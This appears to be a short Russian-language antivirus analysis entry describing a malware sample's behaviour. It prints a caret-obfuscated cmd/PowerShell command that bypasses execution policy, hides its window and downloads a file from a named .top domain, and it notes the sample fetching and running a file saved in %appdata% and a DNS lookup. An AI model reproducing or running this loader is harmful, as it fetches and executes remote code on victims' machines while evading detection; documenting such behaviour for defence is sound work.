Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://www.zonedopesa.top/read.php?f=1.gif как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "POWer^s^h^eLL.eXe -eX^EcU^TioN^p^ol^iC^y ^byp^A^SS^ -^nop^r^o^FI^l^E -wi^N^DOw^sTYlE hI^dden^ (Ne^w-o^bjEc^t ^Sys^T^em.nE^t.W^eb^c^lIe^n^t)^.DoWnlO^A^d^F^Ile^('http://www.zo...
Сетевая активность
UDP
- DNS ASK zo###opesa.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "POWer^s^h^eLL.eXe -eX^EcU^TioN^p^ol^iC^y ^byp^A^SS^ -^nop^r^o^FI^l^E -wi^N^DOw^sTYlE hI^dden^ (Ne^w-o^bjEc^t ^Sys^T^em.nE^t.W^eb^c^lIe^n^t)^.DoWnlO^A^d^F^Ile^('http://www.zo...' (со скрытым окном)
